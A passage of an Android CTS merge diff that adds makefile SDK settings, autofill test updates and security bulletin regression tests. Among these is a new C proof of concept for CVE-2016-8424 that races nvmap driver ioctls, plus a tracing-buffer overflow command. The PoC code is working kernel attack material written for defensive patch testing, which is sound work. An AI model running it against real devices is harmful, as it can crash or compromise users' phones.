Merge changes I63ac5405,Id3d3704f,Ia3152f48,Idddd4e8a
am: c8474562ce
Change-Id: Id24ee764b6d819f400b4af0895d4be530f608296
diff --git a/apps/VpnApp/api23/Android.mk b/apps/VpnApp/api23/Android.mk
index e25cb91..67fbf6b 100755
--- a/apps/VpnApp/api23/Android.mk
+++ b/apps/VpnApp/api23/Android.mk
@@ -27,6 +27,7 @@
LOCAL_RESOURCE_DIR := $(LOCAL_PATH)/../res
#LOCAL_SDK_VERSION := current
+LOCAL_MIN_SDK_VERSION := 22
LOCAL_PRIVATE_PLATFORM_APIS := true
# tag this module as a cts test artifact
diff --git a/apps/VpnApp/api24/Android.mk b/apps/VpnApp/api24/Android.mk
index ec36333..7d03f16 100755
--- a/apps/VpnApp/api24/Android.mk
+++ b/apps/VpnApp/api24/Android.mk
@@ -27,6 +27,7 @@
LOCAL_RESOURCE_DIR := $(LOCAL_PATH)/../res
#LOCAL_SDK_VERSION := current
+LOCAL_MIN_SDK_VERSION := 22
LOCAL_PRIVATE_PLATFORM_APIS := true
# tag this module as a cts test artifact
diff --git a/apps/VpnApp/latest/Android.mk b/apps/VpnApp/latest/Android.mk
index 0431bef..317d8b0 100755
--- a/apps/VpnApp/latest/Android.mk
+++ b/apps/VpnApp/latest/Android.mk
@@ -27,6 +27,7 @@
LOCAL_RESOURCE_DIR := $(LOCAL_PATH)/../res
#LOCAL_SDK_VERSION := current
+LOCAL_MIN_SDK_VERSION := 22
LOCAL_PRIVATE_PLATFORM_APIS := true
# tag this module as a cts test artifact
diff --git a/apps/VpnApp/notalwayson/Android.mk b/apps/VpnApp/notalwayson/Android.mk
index 06731f8..799056a 100755
--- a/apps/VpnApp/notalwayson/Android.mk
+++ b/apps/VpnApp/notalwayson/Android.mk
@@ -27,6 +27,7 @@
LOCAL_RESOURCE_DIR := $(LOCAL_PATH)/../res
#LOCAL_SDK_VERSION := current
+LOCAL_MIN_SDK_VERSION := 22
LOCAL_PRIVATE_PLATFORM_APIS := true
# tag this module as a cts test artifact
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionApp26/Android.mk b/hostsidetests/appsecurity/test-apps/UsePermissionApp26/Android.mk
index 52c8ba4..b0d8bd9 100644
--- a/hostsidetests/appsecurity/test-apps/UsePermissionApp26/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/UsePermissionApp26/Android.mk
@@ -32,6 +32,7 @@
LOCAL_PACKAGE_NAME := CtsUsePermissionApp26
LOCAL_PRIVATE_PLATFORM_APIS := true
+LOCAL_MIN_SDK_VERSION := 26
# tag this module as a cts test artifact
LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
diff --git a/hostsidetests/securitybulletin/AndroidTest.xml b/hostsidetests/securitybulletin/AndroidTest.xml
index f4e85d5..894cf17 100644
--- a/hostsidetests/securitybulletin/AndroidTest.xml
+++ b/hostsidetests/securitybulletin/AndroidTest.xml
@@ -27,6 +27,7 @@
<option name="push" value="CVE-2016-6734->/data/local/tmp/CVE-2016-6734" />
<option name="push" value="CVE-2016-6735->/data/local/tmp/CVE-2016-6735" />
<option name="push" value="CVE-2016-6736->/data/local/tmp/CVE-2016-6736" />
+ <option name="push" value="CVE-2016-8424->/data/local/tmp/CVE-2016-8424" />
<option name="push" value="CVE-2016-8425->/data/local/tmp/CVE-2016-8425" />
<option name="push" value="CVE-2016-8426->/data/local/tmp/CVE-2016-8426" />
<option name="push" value="CVE-2016-8427->/data/local/tmp/CVE-2016-8427" />
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-8424/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8424/Android.mk
new file mode 100644
index 0000000..204ace1
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8424/Android.mk
@@ -0,0 +1,32 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2016-8424
+LOCAL_SRC_FILES := poc.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests sts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS := -Wno-unused-parameter -Wall -Werror
+LOCAL_CFLAGS += -Wno-incompatible-pointer-types -Wno-unused-variable
+LOCAL_LDFLAGS += -fPIE -pie
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-8424/poc.c b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8424/poc.c
new file mode 100644
index 0000000..4460b88
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8424/poc.c
@@ -0,0 +1,138 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#define _GNU_SOURCE
+
+#include <stdlib.h>
+#include <errno.h>
+#include <unistd.h>
+#include <stdio.h>
+#include <dirent.h>
+#include <string.h>
+#include <sys/stat.h>
+#include <sys/ioctl.h>
+#include <stdio.h>
+#include <string.h>
+#include <dlfcn.h>
+#include <sys/time.h>
+#include <sys/mman.h>
+#include <sys/syscall.h>
+#include <sys/resource.h>
+#include <fcntl.h>
+#include <pthread.h>
+#include <unistd.h>
+#include <sched.h>
+
+
+struct nvmap_handle_param {
+ __u32 handle; /* nvmap handle */
+ __u32 param; /* size/align/base/heap etc. */
+ unsigned long result; /* returns requested info*/
+};
+
+struct nvmap_create_handle {
+ union {
+ __u32 id; /* FromId */
+ __u32 size; /* CreateHandle */
+ __s32 fd; /* DmaBufFd or FromFd */
+ };
+ __u32 handle; /* returns nvmap handle */
+};
+
+#define NVMAP_IOC_MAGIC 'N'
+#define NVMAP_IOC_CREATE _IOWR(NVMAP_IOC_MAGIC, 0, struct nvmap_create_handle)
+#define NVMAP_IOC_PARAM _IOWR(NVMAP_IOC_MAGIC, 8, struct nvmap_handle_param)
+#define NVMAP_IOC_GET_ID _IOWR(NVMAP_IOC_MAGIC, 13, struct nvmap_create_handle)
+#define NVMAP_IOC_GET_FD _IOWR(NVMAP_IOC_MAGIC, 15, struct nvmap_create_handle)
+#define NVMAP_IOC_FREE _IO(NVMAP_IOC_MAGIC, 4)
+
+int g_fd = -1;
+static pthread_cond_t cond = PTHREAD_COND_INITIALIZER;
+static pthread_mutex_t mutex = PTHREAD_MUTEX_INITIALIZER;
+struct nvmap_create_handle* g_allocation = NULL;
+
+int open_driver() {
+ char* dev_path = "/dev/nvmap";
+ g_fd = open(dev_path, O_RDWR);
+ if (g_fd < 0) {
+ printf("[*] open file(%s) failed, errno=%d\n", dev_path, errno);
+ } else {
+ printf("[*] open file(%s) succ!\n", dev_path);
+ }
+ return g_fd;
+}
+
+void trigger_nvmap_create() {
+ ioctl(g_fd, NVMAP_IOC_CREATE, g_allocation);
+ //printf("[*] NVMAP_IOC_CREATE, fd(%d), last error = %d\n", g_allocation->handle, errno);
+}
+
+void trigger_nvmap_free() {
+ static int data = 1024;
+ ioctl(g_fd, NVMAP_IOC_FREE, data);
+ //printf("[*] NVMAP_IOC_FREE last error = %d\n", errno);
+}
+
+void setup_privi_and_affinity(int privi, unsigned long cpu_mask) {
+ setpriority(PRIO_PROCESS, gettid(), privi);
+ printf("[*] setpriority(%d) errno = %d\n", privi, errno);
+
+ /* bind process to a CPU*/
+ if (sched_setaffinity(gettid(), sizeof(cpu_mask), &cpu_mask) < 0) {
+ printf("[*] sched_setaffinity(%ld) errno = %d\n", cpu_mask, errno);
+ }
+}
+
+void prepare_data() {
+ void* data = calloc(1, 0x1000);
+
+ g_allocation = (struct nvmap_create_handle*)data;
+ g_allocation->size = 1024;
+
+ mprotect(data, 0x1000, PROT_READ);
+ printf("[*] mprotect, error = %d\n", errno);
+}
+static int init = 0;
+void* race_thread(void* arg) {
+ setup_privi_and_affinity(0, 2);
+
+ int i;
+ while (1) {
+ if (init == 0) {
+ pthread_mutex_lock(&mutex);
+ pthread_cond_wait(&cond, &mutex);
+ pthread_mutex_unlock(&mutex);
+ init = 1;
+ }
+ trigger_nvmap_free();
+ }
+}
+
+int main(int argc, char**argv) {
+ setup_privi_and_affinity(0, 1);
+ if (open_driver() < 0) {
+ return -1;
+ }
+ prepare_data();
+ pthread_t tid;
+ pthread_create(&tid, NULL, race_thread, NULL);
+ sleep(1);
+ while (1) {
+ if (init == 0)
+ pthread_cond_signal(&cond);
+ trigger_nvmap_create();
+ }
+ return 0;
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_10.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_10.java
index 158071d..df116d4 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_10.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_10.java
@@ -22,6 +22,76 @@
public class Poc16_10 extends SecurityTestCase {
/**
+ * b/30904789
+ */
+ @SecurityTest
+ public void testPocCVE_2016_6730() throws Exception {
+ if(containsDriver(getDevice(), "/dev/dri/renderD129")) {
+ AdbUtils.runPoc("CVE-2016-6730", getDevice(), 60);
+ }
+ }
+
+ /**
+ * b/30906023
+ */
+ @SecurityTest
+ public void testPocCVE_2016_6731() throws Exception {
+ if(containsDriver(getDevice(), "/dev/dri/renderD129")) {
+ AdbUtils.runPoc("CVE-2016-6731", getDevice(), 60);
+ }
+ }
+
+ /**
+ * b/30906599
+ */
+ @SecurityTest
+ public void testPocCVE_2016_6732() throws Exception {
+ if(containsDriver(getDevice(), "/dev/dri/renderD129")) {
+ AdbUtils.runPoc("CVE-2016-6732", getDevice(), 60);
+ }
+ }
+
+ /**
+ * b/30906694
+ */
+ @SecurityTest
+ public void testPocCVE_2016_6733() throws Exception {
+ if(containsDriver(getDevice(), "/dev/dri/renderD129")) {
+ AdbUtils.runPoc("CVE-2016-6733", getDevice(), 60);
+ }
+ }
+
+ /**
+ * b/30907120
+ */
+ @SecurityTest
+ public void testPocCVE_2016_6734() throws Exception {
+ if(containsDriver(getDevice(), "/dev/dri/renderD129")) {
+ AdbUtils.runPoc("CVE-2016-6734", getDevice(), 60);
+ }
+ }
+
+ /**
+ * b/30907701
+ */
+ @SecurityTest
+ public void testPocCVE_2016_6735() throws Exception {
+ if(containsDriver(getDevice(), "/dev/dri/renderD129")) {
+ AdbUtils.runPoc("CVE-2016-6735", getDevice(), 60);
+ }
+ }
+
+ /**
+ * b/30953284
+ */
+ @SecurityTest
+ public void testPocCVE_2016_6736() throws Exception {
+ if(containsDriver(getDevice(), "/dev/dri/renderD129")) {
+ AdbUtils.runPoc("CVE-2016-6736", getDevice(), 60);
+ }
+ }
+
+ /**
* b/30741779
*/
@SecurityTest
@@ -36,5 +106,8 @@
assertNotMatches("[\\s\\n\\S]*Fatal signal 11 \\(SIGSEGV\\)" +
"[\\s\\n\\S]*>>> /system/bin/" +
"mediaserver <<<[\\s\\n\\S]*", logcat);
+
+ //make sure the app is uninstalled after the test
+ AdbUtils.runCommandLine("pm uninstall com.trendmicro.wish_wu.camera2" , getDevice());
}
}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_12.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_12.java
new file mode 100644
index 0000000..8ae30d6
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_12.java
@@ -0,0 +1,147 @@
+/**
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+
+@SecurityTest
+public class Poc16_12 extends SecurityTestCase {
+
+ //Criticals
+ /**
+ * b/31606947
+ */
+ @SecurityTest
+ public void testPocCVE_2016_8424() throws Exception {
+ if(containsDriver(getDevice(), "/dev/nvmap")) {
+ AdbUtils.runPoc("CVE-2016-8424", getDevice(), 60);
+ }
+ }
+
+ /**
+ * b/31797770
+ */
+ @SecurityTest
+ public void testPocCVE_2016_8425() throws Exception {
+ if(containsDriver(getDevice(), "/dev/nvhost-vic")) {
+ AdbUtils.runPoc("CVE-2016-8425", getDevice(), 60);
+ }
+ }
+
+ /**
+ * b/31799206
+ */
+ @SecurityTest
+ public void testPocCVE_2016_8426() throws Exception {
+ if(containsDriver(getDevice(), "/dev/nvhost-gpu")) {
+ AdbUtils.runPoc("CVE-2016-8426", getDevice(), 60);
+ }
+ }
+
+ /**
+ * b/31799885
+ */
+ @SecurityTest
+ public void testPocCVE_2016_8427() throws Exception {
+ if(containsDriver(getDevice(), "/dev/nvhost-gpu") ||
+ containsDriver(getDevice(), "/dev/nvhost-dbg-gpu")) {
+ AdbUtils.runPoc("CVE-2016-8427", getDevice(), 60);
+ }
+ }
+
+ /**
+ * b/31993456
+ */
+ @SecurityTest
+ public void testPocCVE_2016_8428() throws Exception {
+ if(containsDriver(getDevice(), "/dev/nvmap")) {
+ AdbUtils.runPoc("CVE-2016-8428", getDevice(), 60);
+ }
+ }
+
+ /**
+ * b/32160775
+ */
+ @SecurityTest
+ public void testPocCVE_2016_8429() throws Exception {
+ if(containsDriver(getDevice(), "/dev/nvmap")) {
+ AdbUtils.runPoc("CVE-2016-8429", getDevice(), 60);
+ }
+ }
+
+ /**
+ * b/32225180
+ */
+ @SecurityTest
+ public void testPocCVE_2016_8430() throws Exception {
+ if(containsDriver(getDevice(), "/dev/nvhost-vic")) {
+ AdbUtils.runPoc("CVE-2016-8430", getDevice(), 60);
+ }
+ }
+
+ /**
+ * b/32402179
+ */
+ @SecurityTest
+ public void testPocCVE_2016_8431() throws Exception {
+ if(containsDriver(getDevice(), "/dev/dri/renderD129")) {
+ AdbUtils.runPoc("CVE-2016-8431", getDevice(), 60);
+ }
+ }
+
+ /**
+ * b/32447738
+ */
+ @SecurityTest
+ public void testPocCVE_2016_8432() throws Exception {
+ if(containsDriver(getDevice(), "/dev/dri/renderD129")) {
+ AdbUtils.runPoc("CVE-2016-8432", getDevice(), 60);
+ }
+ }
+
+ /**
+ * b/32125137
+ */
+ @SecurityTest
+ public void testPocCVE_2016_8434() throws Exception {
+ if(containsDriver(getDevice(), "/dev/kgsl-3d0")) {
+ // This poc is very verbose so we ignore the output to avoid using a lot of memory.
+ AdbUtils.runPocNoOutput("CVE-2016-8434", getDevice(), 60);
+ }
+ }
+
+ /**
+ * b/31668540
+ */
+ @SecurityTest
+ public void testPocCVE_2016_8460() throws Exception {
+ if(containsDriver(getDevice(), "/dev/nvmap")) {
+ String result = AdbUtils.runPoc("CVE-2016-8460", getDevice(), 60);
+ assertTrue(!result.equals("Vulnerable"));
+ }
+ }
+
+ /**
+ * b/32659848
+ */
+ @SecurityTest
+ public void testPoc32659848() throws Exception {
+ String command =
+ "echo 18014398509481980 > /sys/kernel/debug/tracing/buffer_size_kb";
+ AdbUtils.runCommandLine(command, getDevice());
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_01.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_01.java
index aba9ed0..4fd98b7 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_01.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_01.java
@@ -21,107 +21,13 @@
@SecurityTest
public class Poc17_01 extends SecurityTestCase {
- //Criticals
/**
- * b/31797770
+ * b/31799863
*/
@SecurityTest
- public void testPocCVE_2016_8425() throws Exception {
- if(containsDriver(getDevice(), "/dev/nvhost-vic")) {
- AdbUtils.runPoc("CVE-2016-8425", getDevice(), 60);
- }
- }
-
- /**
- * b/31799206
- */
- @SecurityTest
- public void testPocCVE_2016_8426() throws Exception {
- if(containsDriver(getDevice(), "/dev/nvhost-gpu")) {
- AdbUtils.runPoc("CVE-2016-8426", getDevice(), 60);
- }
- }
-
- /**
- * b/31799885
- */
- @SecurityTest
- public void testPocCVE_2016_8427() throws Exception {
- if(containsDriver(getDevice(), "/dev/nvhost-gpu") ||
- containsDriver(getDevice(), "/dev/nvhost-dbg-gpu")) {
- AdbUtils.runPoc("CVE-2016-8427", getDevice(), 60);
- }
- }
-
- /**
- * b/31993456
- */
- @SecurityTest
- public void testPocCVE_2016_8428() throws Exception {
+ public void testPocCVE_2016_8482() throws Exception {
if(containsDriver(getDevice(), "/dev/nvmap")) {
- AdbUtils.runPoc("CVE-2016-8428", getDevice(), 60);
- }
- }
-
- /**
- * b/32160775
- */
- @SecurityTest
- public void testPocCVE_2016_8429() throws Exception {
- if(containsDriver(getDevice(), "/dev/nvmap")) {
- AdbUtils.runPoc("CVE-2016-8429", getDevice(), 60);
- }
- }
-
- /**
- * b/32225180
- */
- @SecurityTest
- public void testPocCVE_2016_8430() throws Exception {
- if(containsDriver(getDevice(), "/dev/nvhost-vic")) {
- AdbUtils.runPoc("CVE-2016-8430", getDevice(), 60);
- }
- }
-
- /**
- * b/32402179
- */
- @SecurityTest
- public void testPocCVE_2016_8431() throws Exception {
- if(containsDriver(getDevice(), "/dev/dri/renderD129")) {
- AdbUtils.runPoc("CVE-2016-8431", getDevice(), 60);
- }
- }
-
- /**
- * b/32447738
- */
- @SecurityTest
- public void testPocCVE_2016_8432() throws Exception {
- if(containsDriver(getDevice(), "/dev/dri/renderD129")) {
- AdbUtils.runPoc("CVE-2016-8432", getDevice(), 60);
- }
- }
-
- /**
- * b/32125137
- */
- @SecurityTest
- public void testPocCVE_2016_8434() throws Exception {
- if(containsDriver(getDevice(), "/dev/kgsl-3d0")) {
- // This poc is very verbose so we ignore the output to avoid using a lot of memory.
- AdbUtils.runPocNoOutput("CVE-2016-8434", getDevice(), 60);
- }
- }
-
- /**
- * b/31668540
- */
- @SecurityTest
- public void testPocCVE_2016_8460() throws Exception {
- if(containsDriver(getDevice(), "/dev/nvmap")) {
- String result = AdbUtils.runPoc("CVE-2016-8460", getDevice(), 60);
- assertTrue(!result.equals("Vulnerable"));
+ AdbUtils.runPoc("CVE-2016-8482", getDevice(), 60);
}
}
}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_02.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_02.java
index fc68707..44f7d27 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_02.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_02.java
@@ -29,14 +29,4 @@
String logcatOut = AdbUtils.runCommandLine("logcat -d", getDevice());
assertNotMatches("[\\s\\n\\S]*Bugreports file in wrong path[\\s\\n\\S]*", logcatOut);
}
-
- /**
- * b/31799863
- */
- @SecurityTest
- public void testPocCVE_2016_8482() throws Exception {
- if(containsDriver(getDevice(), "/dev/nvmap")) {
- AdbUtils.runPoc("CVE-2016-8482", getDevice(), 60);
- }
- }
}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/AuthenticationTest.java b/tests/autofillservice/src/android/autofillservice/cts/AuthenticationTest.java
index 6e3308d..cb98b54 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/AuthenticationTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/AuthenticationTest.java
@@ -725,7 +725,7 @@
final String expectedMessage = getWelcomeMessage("malkovich");
final String actualMessage = mActivity.tapLogin();
assertWithMessage("Wrong welcome msg").that(actualMessage).isEqualTo(expectedMessage);
- mUiBot.saveForAutofill(true, SAVE_DATA_TYPE_PASSWORD);
+ mUiBot.updateForAutofill(true, SAVE_DATA_TYPE_PASSWORD);
// Assert client state on authentication activity.
assertClientState("auth activity", AuthenticationActivity.getData(), "CSI", "FromResponse");
@@ -1105,7 +1105,7 @@
final String expectedMessage = getWelcomeMessage("malkovich");
final String actualMessage = mActivity.tapLogin();
assertWithMessage("Wrong welcome msg").that(actualMessage).isEqualTo(expectedMessage);
- mUiBot.saveForAutofill(true, SAVE_DATA_TYPE_PASSWORD);
+ mUiBot.updateForAutofill(true, SAVE_DATA_TYPE_PASSWORD);
// Assert client state on authentication activity.
assertClientState("auth activity", AuthenticationActivity.getData(), "CSI", "FromResponse");
diff --git a/tests/autofillservice/src/android/autofillservice/cts/DatePickerTestCase.java b/tests/autofillservice/src/android/autofillservice/cts/DatePickerTestCase.java
index c9afacc..3483257 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/DatePickerTestCase.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/DatePickerTestCase.java
@@ -82,7 +82,7 @@
activity.setDate(2010, Calendar.DECEMBER, 12);
activity.tapOk();
- mUiBot.saveForAutofill(true, SAVE_DATA_TYPE_GENERIC);
+ mUiBot.updateForAutofill(true, SAVE_DATA_TYPE_GENERIC);
final SaveRequest saveRequest = sReplier.getNextSaveRequest();
assertWithMessage("onSave() not called").that(saveRequest).isNotNull();
diff --git a/tests/autofillservice/src/android/autofillservice/cts/LoginActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/LoginActivityTest.java
index c476c7c..2b06402 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/LoginActivityTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/LoginActivityTest.java
@@ -854,7 +854,7 @@
assertWithMessage("Wrong welcome msg").that(actualMessage).isEqualTo(expectedMessage);
// Assert the snack bar is shown and tap "Save".
- mUiBot.saveForAutofill(true, SAVE_DATA_TYPE_PASSWORD);
+ mUiBot.updateForAutofill(true, SAVE_DATA_TYPE_PASSWORD);
final SaveRequest saveRequest = sReplier.getNextSaveRequest();
@@ -957,7 +957,7 @@
assertWithMessage("Wrong welcome msg").that(actualMessage).isEqualTo(expectedMessage);
// Assert the snack bar is shown and tap "Save".
- mUiBot.saveForAutofill(true, SAVE_DATA_TYPE_PASSWORD);
+ mUiBot.updateForAutofill(true, SAVE_DATA_TYPE_PASSWORD);
final SaveRequest saveRequest = sReplier.getNextSaveRequest();
diff --git a/tests/autofillservice/src/android/autofillservice/cts/LoginWithStringsActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/LoginWithStringsActivityTest.java
index 8474d28..42ff86a 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/LoginWithStringsActivityTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/LoginWithStringsActivityTest.java
@@ -115,7 +115,7 @@
assertWithMessage("Wrong welcome msg").that(actualMessage).isEqualTo(expectedMessage);
// Assert the snack bar is shown and tap "Save".
- mUiBot.saveForAutofill(true, SAVE_DATA_TYPE_PASSWORD);
+ mUiBot.updateForAutofill(true, SAVE_DATA_TYPE_PASSWORD);
final SaveRequest saveRequest = sReplier.getNextSaveRequest();
diff --git a/tests/autofillservice/src/android/autofillservice/cts/OptionalSaveActivity.java b/tests/autofillservice/src/android/autofillservice/cts/OptionalSaveActivity.java
index e326231..561b727 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/OptionalSaveActivity.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/OptionalSaveActivity.java
@@ -25,6 +25,8 @@
import android.widget.Button;
import android.widget.EditText;
+import androidx.annotation.Nullable;
+
/**
* Activity that has the following fields:
*
@@ -105,12 +107,21 @@
* Sets the expectation for an auto-fill request, so it can be asserted through
* {@link #assertAutoFilled()} later.
*/
- void expectAutoFill(String address1, String address2, String city, String favColor) {
+ void expectAutoFill(@Nullable String address1, @Nullable String address2, @Nullable String city,
+ @Nullable String favColor) {
mExpectation = new FillExpectation(address1, address2, city, favColor);
- mAddress1.addTextChangedListener(mExpectation.address1Watcher);
- mAddress2.addTextChangedListener(mExpectation.address2Watcher);
- mCity.addTextChangedListener(mExpectation.cityWatcher);
- mFavoriteColor.addTextChangedListener(mExpectation.favoriteColorWatcher);
+ if (address1 != null) {
+ mAddress1.addTextChangedListener(mExpectation.address1Watcher);
+ }
+ if (address2 != null) {
+ mAddress2.addTextChangedListener(mExpectation.address2Watcher);
+ }
+ if (city != null) {
+ mCity.addTextChangedListener(mExpectation.cityWatcher);
+ }
+ if (favColor != null) {
+ mFavoriteColor.addTextChangedListener(mExpectation.favoriteColorWatcher);
+ }
}
/**
@@ -119,10 +130,18 @@
*/
void assertAutoFilled() throws Exception {
assertWithMessage("expectAutoFill() not called").that(mExpectation).isNotNull();
- mExpectation.address1Watcher.assertAutoFilled();
- mExpectation.address2Watcher.assertAutoFilled();
- mExpectation.cityWatcher.assertAutoFilled();
- mExpectation.favoriteColorWatcher.assertAutoFilled();
+ if (mExpectation.address1Watcher != null) {
+ mExpectation.address1Watcher.assertAutoFilled();
+ }
+ if (mExpectation.address2Watcher != null) {
+ mExpectation.address2Watcher.assertAutoFilled();
+ }
+ if (mExpectation.cityWatcher != null) {
+ mExpectation.cityWatcher.assertAutoFilled();
+ }
+ if (mExpectation.favoriteColorWatcher != null) {
+ mExpectation.favoriteColorWatcher.assertAutoFilled();
+ }
}
/**
@@ -134,11 +153,15 @@
private final OneTimeTextWatcher cityWatcher;
private final OneTimeTextWatcher favoriteColorWatcher;
- private FillExpectation(String address1, String address2, String city, String favColor) {
- address1Watcher = new OneTimeTextWatcher("address1", mAddress1, address1);
- address2Watcher = new OneTimeTextWatcher("address2", mAddress2, address2);
- cityWatcher = new OneTimeTextWatcher("city", mCity, city);
- favoriteColorWatcher = new OneTimeTextWatcher("favColor", mFavoriteColor, favColor);
+ private FillExpectation(@Nullable String address1, @Nullable String address2,
+ @Nullable String city, @Nullable String favColor) {
+ address1Watcher = address1 == null ? null
+ : new OneTimeTextWatcher("address1", mAddress1, address1);
+ address2Watcher = address2 == null ? null
+ : new OneTimeTextWatcher("address2", mAddress2, address2);
+ cityWatcher = city == null ? null : new OneTimeTextWatcher("city", mCity, city);
+ favoriteColorWatcher = favColor == null ? null
+ : new OneTimeTextWatcher("favColor", mFavoriteColor, favColor);
}
}
}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/OptionalSaveActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/OptionalSaveActivityTest.java
index 5aaedde..ab1ce58 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/OptionalSaveActivityTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/OptionalSaveActivityTest.java
@@ -322,7 +322,7 @@
mActivity.save();
// Assert the snack bar is shown and tap "Save".
- mUiBot.saveForAutofill(true, SAVE_DATA_TYPE_ADDRESS);
+ mUiBot.updateForAutofill(true, SAVE_DATA_TYPE_ADDRESS);
final SaveRequest saveRequest = sReplier.getNextSaveRequest();
assertWithMessage("onSave() not called").that(saveRequest).isNotNull();
@@ -652,7 +652,7 @@
mActivity.save();
// ...and make sure the snack bar is shown.
- mUiBot.saveForAutofill(true, SAVE_DATA_TYPE_ADDRESS);
+ mUiBot.updateForAutofill(true, SAVE_DATA_TYPE_ADDRESS);
// Finally, assert values.
final SaveRequest saveRequest = sReplier.getNextSaveRequest();
@@ -664,4 +664,53 @@
assertTextAndValue(findNodeByResourceId(saveRequest.structure, ID_FAVORITE_COLOR),
"Yellow");
}
+
+ @Test
+ public void testShowUpdateWhenUserChangedOptionalValueFromDatasetAndRequiredNotFromDataset()
+ throws Exception {
+ // Set service.
+ enableService();
+
+ // Address 2 will be required but not available
+ mActivity.expectAutoFill("742 Evergreen Terrace", null, "Springfield", "Yellow");
+ // Set expectations.
+ sReplier.addResponse(new CannedFillResponse.Builder()
+ .setRequiredSavableIds(SAVE_DATA_TYPE_ADDRESS, ID_ADDRESS1, ID_ADDRESS2)
+ .setOptionalSavableIds(ID_CITY)
+ .addDataset(new CannedDataset.Builder()
+ .setPresentation(createPresentation("SF"))
+ .setField(ID_ADDRESS1, "742 Evergreen Terrace")
+ .setField(ID_CITY, "Springfield")
+ .setField(ID_FAVORITE_COLOR, "Yellow")
+ .build())
+ .build());
+
+ // Trigger autofill.
+ mActivity.syncRunOnUiThread(() -> mActivity.mAddress1.requestFocus());
+ sReplier.getNextFillRequest();
+
+ mUiBot.selectDataset("SF");
+ mActivity.assertAutoFilled();
+
+ // Change required and optional field.
+ mActivity.syncRunOnUiThread(() -> {
+ mActivity.mAddress2.setText("Simpsons House");
+ mActivity.mCity.setText("Shelbyville");
+ });
+ // Trigger save...
+ mActivity.save();
+
+ // ...and make sure the snack bar is shown.
+ mUiBot.updateForAutofill(true, SAVE_DATA_TYPE_ADDRESS);
+
+ // Finally, assert values.
+ final SaveRequest saveRequest = sReplier.getNextSaveRequest();
+ assertTextAndValue(findNodeByResourceId(saveRequest.structure, ID_ADDRESS1),
+ "742 Evergreen Terrace");
+ assertTextAndValue(findNodeByResourceId(saveRequest.structure, ID_ADDRESS2),
+ "Simpsons House");
